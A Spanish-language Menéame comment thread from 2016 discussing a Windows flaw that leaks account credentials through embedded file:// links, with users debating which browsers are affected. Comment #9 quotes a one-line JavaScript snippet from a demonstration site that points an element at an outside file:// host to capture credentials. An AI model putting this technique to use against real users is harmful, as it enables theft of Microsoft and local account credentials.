Menéame: comentarios [2653839]

#10 Una vulnerabilidad en windows permite robar tus credenciales de cuenta Microsoft o local [ENG]

sechole — Wed, 03 Aug 2016 15:37:22 +0000

#7 El problema no solo son los navegadores de Microsoft, sino todos los productos de microsoft: Office, Outlook, etc.
La prueba de concepto es mas fácil de hacer con una pagina web.

» autor: sechole

#9 Una vulnerabilidad en windows permite robar tus credenciales de cuenta Microsoft o local [ENG]

Razhan — Wed, 03 Aug 2016 15:00:48 +0000

Basicamente lo que hacen es poner referencia a un elemento con file://. Sacado de su web:
elem.setAttribute("src","file://msleak.perfect-privacy.com/"+id);

Esto es viejo, quiero decir, muy muy viejo. Del estilo que se sabe desde hace una eternidad, pero si que es cierto lo que dicen, tu password local de maquina podía no ser tan interesante, pero si es la de tu cuenta de outlook.com, entonces si que lo es.

» autor: Razhan

#8 Una vulnerabilidad en windows permite robar tus credenciales de cuenta Microsoft o local [ENG]

Nova6K0 — Wed, 03 Aug 2016 13:12:00 +0000

#6 Pués cualquiera que use la tienda de Windows (Windows App Store), porque no te permite usar otra.

Salu2

» autor: Nova6K0

#7 Una vulnerabilidad en windows permite robar tus credenciales de cuenta Microsoft o local [ENG]

Nova6K0 — Wed, 03 Aug 2016 11:58:00 +0000

#5 Entonces no es una vulnerabilidad de Windows en sí sino de los navegadores de Windows que son de Microsoft, ya que si usas otros no tienes el problema.

Salu2

» autor: Nova6K0

#6 Una vulnerabilidad en windows permite robar tus credenciales de cuenta Microsoft o local [ENG]

kalimochero — Wed, 03 Aug 2016 11:49:27 +0000

Quien tiene cuenta de Mocosoft?

» autor: kalimochero

#5 Una vulnerabilidad en windows permite robar tus credenciales de cuenta Microsoft o local [ENG]

Marx — Wed, 03 Aug 2016 11:31:44 +0000

#4 Hombre, porque es un bug que no afecta a los demas navegadores

» autor: Marx

#4 Una vulnerabilidad en windows permite robar tus credenciales de cuenta Microsoft o local [ENG]

Nova6K0 — Wed, 03 Aug 2016 11:27:21 +0000

Una web que te dice que sólo funciona con IE/Edge, no gracias.

Salu2

» autor: Nova6K0

#3 Una vulnerabilidad en windows permite robar tus credenciales de cuenta Microsoft o local [ENG]

janatxan — Wed, 03 Aug 2016 11:20:41 +0000

A lo mejor no lo entiendo bien, pero, no se supone que el intento de conexión a un medio de red compartido mediante un objeto incrustado no debería tener un objetivo localizado en la red? O cargan en el mail/web infinidad de posibilidades del monto de las mas habituales? Lo pregunto porque en la oficina un nas tiene unas credenciales concretas y solo se invocan cuando se intenta acceder al medio en cuestion, a traves de su dirección en red, ip, etc etc.

» autor: janatxan

#2 Una vulnerabilidad en windows permite robar tus credenciales de cuenta Microsoft o local [ENG]

Marx — Wed, 03 Aug 2016 11:02:15 +0000

#1 Las crecenciales son credenciales que crecen, si es que...

Gracias por el aviso.

P.D: Demo: msleak.perfect-privacy.com

» autor: Marx

#1 Una vulnerabilidad en windows permite robar tus credenciales de cuenta Microsoft o local [ENG]

--11417-- — Wed, 03 Aug 2016 11:01:18 +0000

#0 no problem, yo no tengo "crecenciales" que perder

» autor: --11417--